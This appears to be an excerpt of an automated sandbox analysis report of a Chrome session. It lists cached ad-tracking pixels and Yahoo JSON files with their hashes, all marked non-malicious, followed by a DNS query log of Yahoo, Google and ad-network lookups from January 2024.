Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&expiration=1707521239&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://ssum-sec.casalemedia.com/usermatchredir?s=184023&gdpr_consent=&gdpr=&gpp=&gpp_sid=&google_gid=CAESENB3vkDtn5oxWvBwA9gFXWc&google_cver=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 536x284, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	15400
Entropy (8bit):	7.988026607316768
Encrypted:	false
SSDEEP:	384:rdm4N15z60NmTeZ1Axdhvjw7m4L23T035WCA6xt:r71l6W0LvjaT2okCpr
MD5:	BC916F8A2E915AF8DB7350A0E9F1D664
SHA1:	C4E485E45C642E700304A119EEAB9B620C5D1338
SHA-256:	45DE588C700529E67C1C522077FB143932F6ADE57263848F43F71834D33CD089
SHA-512:	6AA3FFC0BA8C344CD58882A7B07BDDBE2021E87A0CD5365714F30CC0C41AAEE42A664F50AA26B589FA7E610EBD98CC9668364E0BBBF6647318B44A03DCDCEF40
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/3vDJsuvj34ivMVnukopXNw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/in_touch_weekly_336/3b052fdee39917ec92806ecae96b4a87.cf.webp
Preview:	RIFF <..WEBPVP8 .<..0........>y8.H..".(..8...em......G.W.....h..}1...~y.?W:.Q>.................-Y]crL[.{.....W..O..v..^..BP....3.....a.).._..........Vl.@.i.}.....Y4...;o..P.T..%=B%...M....[.~]~B.........d...]].[.5....<.+jGV.h...J.N.......I.Dm...........`..!n.5e.e..@z.i.........gR...p+...Eg..s..WD}f~..b2....Q......i..V.bD.v.i.Ld(...WtBG...p......g....y.p.>J.....h.?...2J..\Iy...."&..jW2.._...U\|..x...I..4Q.2WXr]\;U8..f..H.N..DD.Ml..S.8.~..j.ZBU.....^x.....1.9.}..W..!....>.....;SY..FS={..(.....z...\|s.~.{..B.D...C..!km..$.....fq...g.tfe\.;...y;...r..^........G.p.C[..3k..\|o....H\|t...=...Z..N G.4.....b....!l.s'sJ..xT@....\..0.V\|..i!..v...HzH..:./....j..L.!j.W......l!JV".'.;..o.&.U.O.b.2;.-.r....h..6....T..F;m2m.-?...,.....9....W[.b...o.3.$:...Ip....z...#OS'...K&........JC...K..9..'.=@..G.YH).d..92.\|...[..y..}..W[..q$.........8)..J[........e...'}K.yLp.M?....5GT3[Q...a....@a..x...........VOt...P>0j. .....2...g..t*.(......7.E.3..r.Jl.i

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1784
Entropy (8bit):	4.640964665729478
Encrypted:	false
SSDEEP:	48:TtT4eQ7M0Vk677M0Kk6+7r10Sk6H72X10ak/7e0kk7Z:5TNQ7nVb7nKe7rKSn72KaC75k2Z
MD5:	877792D86D801176269A36AC7B4E6E02
SHA1:	AFDBAD37D52084701E3E299D1F95AD7478B466A9
SHA-256:	5CB2B348029A5C8CAD5342D73F5F78AC09AD0CF6EBDE80B5A1ED069F08332DDC
SHA-512:	0FA0A811BFEF6D83808022369BF9462EB57FB06F5E6B4672F313AAC04D2C85A5CB6A55A9D0F7359E608E6ECD90925E3F77784700882E3F5F93ADBD5FC22D6A3D
Malicious:	false
Reputation:	low
URL:	https://edge-mcdn.secure.yahoo.com/ybar/exp.json
Preview:	{. "expCount":5,. "selection":"individual",. "uploadType":"group",. "runProb":10,. "expList":[. {. "name":"vpixiea",. "beaconRegex":"^https:\/\/v-([^.]).wc.yahoodns.net\/i.gif",. "target":"https://v-a<RAND>.wc.yahoodns.net/i.gif",. "trials":1,. "uploadEndpoints":["https://ybar-<BEACON>report.wc.yahoodns.net/cs/"], . "timeout":5000. },. {. "name":"vpixieb",. "beaconRegex":"^https:\/\/v-([^.]).wc.yahoodns.net\/i.gif",. "target":"https://v-b<RAND>.wc.yahoodns.net/i.gif",. "trials":1,. "uploadEndpoints":["https://ybar-<BEACON>report.wc.yahoodns.net/cs/"],. "timeout":5000. },. {. "name":"vpixiec",. "beaconRegex":"^https:\/\/v-([^.]*).wc.yahoodns.net\/pixel.gif",. "target":"https://v-c<RAND>.wc.yahoodns.net/pixel.gif",. "trials":1,. "uploadEndpoints":["http

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	140
Entropy (8bit):	4.64184934858056
Encrypted:	false
SSDEEP:	3:YMsw/TvLCuwxk8HHiJsMMg/eUtfYtlm2spn/Fx2VHfCkpHC+MZt:YMsw/TUPMMg/ptQoXn/Fx2t6mHqt
MD5:	1C786A05F18F37D3DDE7D10F5FB3AC9B
SHA1:	B496EA597E8465BAF9ABECE4371C45EE50159A78
SHA-256:	29BB093B255082951CE1E4423E7EF5E1D699B6E85B4C8B4DBC1F81987AE9792D
SHA-512:	A87411CEBA167B19382C3C591B5109C2598E55E10DECD3B08BD948B1F234E6A093454A769D2036BD7F278273042D187ED2E89962354326CF68E58C16CD7E74FC
Malicious:	false
Reputation:	low
Preview:	{"identifier":"5uhb75dipu9ts","identifierType":"bid","tosRecords":{"nonEu":{"consentEvents":{"iabCCPA":"1YNN","gpp":"DBAA","gppSid":"-1"}}}}

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=rp&google_hm=TFI4RVVHMTItMUYtNUpHNA==&google_push=&gdpr=0
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2024 00:26:07.209127903 CET	192.168.2.4	1.1.1.1	0xd394	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:07.209475994 CET	192.168.2.4	1.1.1.1	0xbd38	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:07.210107088 CET	192.168.2.4	1.1.1.1	0xf0dd	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:07.210510015 CET	192.168.2.4	1.1.1.1	0x6cc7	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:09.367652893 CET	192.168.2.4	1.1.1.1	0x8568	Standard query (0)	see-eim.pages.dev	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:09.367916107 CET	192.168.2.4	1.1.1.1	0x405a	Standard query (0)	see-eim.pages.dev	65	IN (0x0001)	false
Jan 11, 2024 00:26:09.546055079 CET	192.168.2.4	1.1.1.1	0x5eb9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:09.546370029 CET	192.168.2.4	1.1.1.1	0xa582	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:10.090253115 CET	192.168.2.4	1.1.1.1	0xd9c1	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:10.091495037 CET	192.168.2.4	1.1.1.1	0x9f87	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:10.615967989 CET	192.168.2.4	1.1.1.1	0xf1f2	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:10.616717100 CET	192.168.2.4	1.1.1.1	0x6bbf	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:10.769500017 CET	192.168.2.4	1.1.1.1	0x4a4e	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:10.770356894 CET	192.168.2.4	1.1.1.1	0x252d	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:27.667757034 CET	192.168.2.4	1.1.1.1	0x723a	Standard query (0)	login.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:27.668003082 CET	192.168.2.4	1.1.1.1	0x47a6	Standard query (0)	login.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:28.444943905 CET	192.168.2.4	1.1.1.1	0x5e4a	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.447177887 CET	192.168.2.4	1.1.1.1	0xef2c	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:28.448841095 CET	192.168.2.4	1.1.1.1	0x1aea	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.448841095 CET	192.168.2.4	1.1.1.1	0xf7bf	Standard query (0)	google.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:28.550358057 CET	192.168.2.4	1.1.1.1	0x75b8	Standard query (0)	geo.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.550801992 CET	192.168.2.4	1.1.1.1	0xd3f5	Standard query (0)	geo.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:28.551351070 CET	192.168.2.4	1.1.1.1	0x3362	Standard query (0)	geo.query.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.551760912 CET	192.168.2.4	1.1.1.1	0x3744	Standard query (0)	geo.query.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:28.552324057 CET	192.168.2.4	1.1.1.1	0xce66	Standard query (0)	ucs.query.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.552601099 CET	192.168.2.4	1.1.1.1	0xa053	Standard query (0)	ucs.query.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:28.651446104 CET	192.168.2.4	1.1.1.1	0xab04	Standard query (0)	y.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.652199030 CET	192.168.2.4	1.1.1.1	0x8d4d	Standard query (0)	y.analytics.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:28.684142113 CET	192.168.2.4	1.1.1.1	0x1436	Standard query (0)	ucs.query.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:28.752082109 CET	192.168.2.4	1.1.1.1	0xeb4b	Standard query (0)	y.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:29.596208096 CET	192.168.2.4	1.1.1.1	0x8178	Standard query (0)	udc.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:29.597763062 CET	192.168.2.4	1.1.1.1	0xb514	Standard query (0)	udc.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:41.466389894 CET	192.168.2.4	1.1.1.1	0xfd37	Standard query (0)	y.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:44.602080107 CET	192.168.2.4	1.1.1.1	0x6a64	Standard query (0)	y.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:44.602361917 CET	192.168.2.4	1.1.1.1	0x63d	Standard query (0)	y.analytics.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:44.603945971 CET	192.168.2.4	1.1.1.1	0xfdd5	Standard query (0)	ucs.query.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:44.604379892 CET	192.168.2.4	1.1.1.1	0x8ca3	Standard query (0)	ucs.query.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:44.728888035 CET	192.168.2.4	1.1.1.1	0x9f05	Standard query (0)	ucs.query.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:44.729629993 CET	192.168.2.4	1.1.1.1	0xa2b5	Standard query (0)	y.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:58.390561104 CET	192.168.2.4	1.1.1.1	0xb060	Standard query (0)	ucs.query.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:58.390883923 CET	192.168.2.4	1.1.1.1	0xdffd	Standard query (0)	ucs.query.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:58.392070055 CET	192.168.2.4	1.1.1.1	0xabb2	Standard query (0)	y.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:58.392430067 CET	192.168.2.4	1.1.1.1	0xbaa4	Standard query (0)	y.analytics.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:26:58.545186043 CET	192.168.2.4	1.1.1.1	0x2b64	Standard query (0)	y.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:26:58.545186996 CET	192.168.2.4	1.1.1.1	0xda75	Standard query (0)	ucs.query.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:07.674669027 CET	192.168.2.4	1.1.1.1	0x3d6	Standard query (0)	www.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:07.675643921 CET	192.168.2.4	1.1.1.1	0x9e6b	Standard query (0)	www.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:08.496323109 CET	192.168.2.4	1.1.1.1	0x822b	Standard query (0)	search.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:08.497255087 CET	192.168.2.4	1.1.1.1	0x8f43	Standard query (0)	search.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:08.917351007 CET	192.168.2.4	1.1.1.1	0xa732	Standard query (0)	edge-mcdn.secure.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:08.918040037 CET	192.168.2.4	1.1.1.1	0x40e9	Standard query (0)	edge-mcdn.secure.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:09.278595924 CET	192.168.2.4	1.1.1.1	0x1a4a	Standard query (0)	guce.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.278923035 CET	192.168.2.4	1.1.1.1	0x675a	Standard query (0)	guce.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:09.814273119 CET	192.168.2.4	1.1.1.1	0xcd2a	Standard query (0)	guce.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:09.814913988 CET	192.168.2.4	1.1.1.1	0x2587	Standard query (0)	guce.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:10.918958902 CET	192.168.2.4	1.1.1.1	0x66cb	Standard query (0)	hb.yahoo.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:10.919154882 CET	192.168.2.4	1.1.1.1	0x9918	Standard query (0)	hb.yahoo.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:10.972104073 CET	192.168.2.4	1.1.1.1	0xa95f	Standard query (0)	opus.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:10.972810030 CET	192.168.2.4	1.1.1.1	0xafab	Standard query (0)	opus.analytics.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:11.556850910 CET	192.168.2.4	1.1.1.1	0x50f5	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.557327032 CET	192.168.2.4	1.1.1.1	0xdb17	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:11.697128057 CET	192.168.2.4	1.1.1.1	0xbb7f	Standard query (0)	prebid.media.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.697715998 CET	192.168.2.4	1.1.1.1	0x6092	Standard query (0)	prebid.media.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:11.700186968 CET	192.168.2.4	1.1.1.1	0x2a07	Standard query (0)	c2shb-oao.ssp.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.700553894 CET	192.168.2.4	1.1.1.1	0xc9b6	Standard query (0)	c2shb-oao.ssp.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:11.701978922 CET	192.168.2.4	1.1.1.1	0x527f	Standard query (0)	m.hb.yahoo.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.702486038 CET	192.168.2.4	1.1.1.1	0x63ad	Standard query (0)	m.hb.yahoo.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:11.804203987 CET	192.168.2.4	1.1.1.1	0x9a57	Standard query (0)	rtb-cache.hb.yahoo.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.804960966 CET	192.168.2.4	1.1.1.1	0x83cb	Standard query (0)	rtb-cache.hb.yahoo.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:11.868719101 CET	192.168.2.4	1.1.1.1	0xe270	Standard query (0)	www.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.869349957 CET	192.168.2.4	1.1.1.1	0x7ce7	Standard query (0)	www.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:11.926079035 CET	192.168.2.4	1.1.1.1	0x1b87	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:11.926467896 CET	192.168.2.4	1.1.1.1	0x7087	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:12.299674988 CET	192.168.2.4	1.1.1.1	0x6190	Standard query (0)	hb.yahoo.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.300647974 CET	192.168.2.4	1.1.1.1	0xee6c	Standard query (0)	hb.yahoo.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:12.412573099 CET	192.168.2.4	1.1.1.1	0x26bd	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.412883043 CET	192.168.2.4	1.1.1.1	0x16dd	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:12.940246105 CET	192.168.2.4	1.1.1.1	0xaf75	Standard query (0)	lg1.hb.yahoo.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:12.940617085 CET	192.168.2.4	1.1.1.1	0x3c7	Standard query (0)	lg1.hb.yahoo.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:13.090990067 CET	192.168.2.4	1.1.1.1	0x1bfb	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.091347933 CET	192.168.2.4	1.1.1.1	0xc4fd	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:13.099675894 CET	192.168.2.4	1.1.1.1	0x42	Standard query (0)	cs.media.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.099920034 CET	192.168.2.4	1.1.1.1	0x66eb	Standard query (0)	cs.media.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:13.101632118 CET	192.168.2.4	1.1.1.1	0xf451	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.102062941 CET	192.168.2.4	1.1.1.1	0x8669	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Jan 11, 2024 00:27:13.113725901 CET	192.168.2.4	1.1.1.1	0x6f8e	Standard query (0)	api.taboola.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.113940001 CET	192.168.2.4	1.1.1.1	0x1b7	Standard query (0)	api.taboola.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:13.515218973 CET	192.168.2.4	1.1.1.1	0x6f18	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.515525103 CET	192.168.2.4	1.1.1.1	0x9a68	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:13.619343042 CET	192.168.2.4	1.1.1.1	0x809f	Standard query (0)	lg1.hb.yahoo.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.619694948 CET	192.168.2.4	1.1.1.1	0x4769	Standard query (0)	lg1.hb.yahoo.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:13.659472942 CET	192.168.2.4	1.1.1.1	0xa5ac	Standard query (0)	tsdtocl.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.659858942 CET	192.168.2.4	1.1.1.1	0x8ba0	Standard query (0)	tsdtocl.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:13.742177963 CET	192.168.2.4	1.1.1.1	0xa230	Standard query (0)	api.taboola.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.742372990 CET	192.168.2.4	1.1.1.1	0x5dbb	Standard query (0)	api.taboola.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:13.910679102 CET	192.168.2.4	1.1.1.1	0x7f95	Standard query (0)	edge-mcdn.secure.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.910954952 CET	192.168.2.4	1.1.1.1	0x106d	Standard query (0)	edge-mcdn.secure.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:13.931847095 CET	192.168.2.4	1.1.1.1	0x8812	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:13.932677031 CET	192.168.2.4	1.1.1.1	0x3417	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:14.041732073 CET	192.168.2.4	1.1.1.1	0x3a37	Standard query (0)	display.bidder.taboola.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.065884113 CET	192.168.2.4	1.1.1.1	0x1b28	Standard query (0)	display.bidder.taboola.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:14.067586899 CET	192.168.2.4	1.1.1.1	0x1b33	Standard query (0)	htlb.casalemedia.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.067863941 CET	192.168.2.4	1.1.1.1	0x5df8	Standard query (0)	htlb.casalemedia.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:14.069847107 CET	192.168.2.4	1.1.1.1	0x6e58	Standard query (0)	hbopenbid.pubmatic.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.070146084 CET	192.168.2.4	1.1.1.1	0x7d22	Standard query (0)	hbopenbid.pubmatic.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:14.090240955 CET	192.168.2.4	1.1.1.1	0x19a1	Standard query (0)	ads.pubmatic.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.090744019 CET	192.168.2.4	1.1.1.1	0xc430	Standard query (0)	ads.pubmatic.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:14.091547012 CET	192.168.2.4	1.1.1.1	0x7442	Standard query (0)	trc.taboola.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.091933966 CET	192.168.2.4	1.1.1.1	0x4509	Standard query (0)	trc.taboola.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:14.375384092 CET	192.168.2.4	1.1.1.1	0x1fa7	Standard query (0)	contextual.media.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.375540972 CET	192.168.2.4	1.1.1.1	0xc3c5	Standard query (0)	contextual.media.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:14.469085932 CET	192.168.2.4	1.1.1.1	0xa829	Standard query (0)	hb.yahoo.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.469563961 CET	192.168.2.4	1.1.1.1	0xdafc	Standard query (0)	hb.yahoo.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:14.482114077 CET	192.168.2.4	1.1.1.1	0x1429	Standard query (0)	prebid.media.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.483441114 CET	192.168.2.4	1.1.1.1	0xf833	Standard query (0)	prebid.media.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:14.588116884 CET	192.168.2.4	1.1.1.1	0x38c1	Standard query (0)	tag.idsync.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.589592934 CET	192.168.2.4	1.1.1.1	0x1635	Standard query (0)	tag.idsync.analytics.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:14.779714108 CET	192.168.2.4	1.1.1.1	0xcf29	Standard query (0)	m.hb.yahoo.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.779952049 CET	192.168.2.4	1.1.1.1	0x9b9d	Standard query (0)	m.hb.yahoo.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:14.967765093 CET	192.168.2.4	1.1.1.1	0x9e3c	Standard query (0)	i.clean.gg	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.968404055 CET	192.168.2.4	1.1.1.1	0x5ebd	Standard query (0)	i.clean.gg	65	IN (0x0001)	false
Jan 11, 2024 00:27:15.179971933 CET	192.168.2.4	1.1.1.1	0xf71	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.180576086 CET	192.168.2.4	1.1.1.1	0x7ab9	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:15.223397017 CET	192.168.2.4	1.1.1.1	0x62bc	Standard query (0)	js-sec.indexww.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.225280046 CET	192.168.2.4	1.1.1.1	0x1b9f	Standard query (0)	js-sec.indexww.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:15.300802946 CET	192.168.2.4	1.1.1.1	0x506f	Standard query (0)	tags.bluekai.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.300802946 CET	192.168.2.4	1.1.1.1	0x76f3	Standard query (0)	tags.bluekai.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:15.330526114 CET	192.168.2.4	1.1.1.1	0x6ad8	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.334634066 CET	192.168.2.4	1.1.1.1	0xa61a	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:15.535810947 CET	192.168.2.4	1.1.1.1	0x536e	Standard query (0)	ssum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.536618948 CET	192.168.2.4	1.1.1.1	0x9c79	Standard query (0)	ssum-sec.casalemedia.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:15.537647963 CET	192.168.2.4	1.1.1.1	0x2ac1	Standard query (0)	p.rfihub.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.538259029 CET	192.168.2.4	1.1.1.1	0xabf6	Standard query (0)	p.rfihub.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:15.652240038 CET	192.168.2.4	1.1.1.1	0xc690	Standard query (0)	service.idsync.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
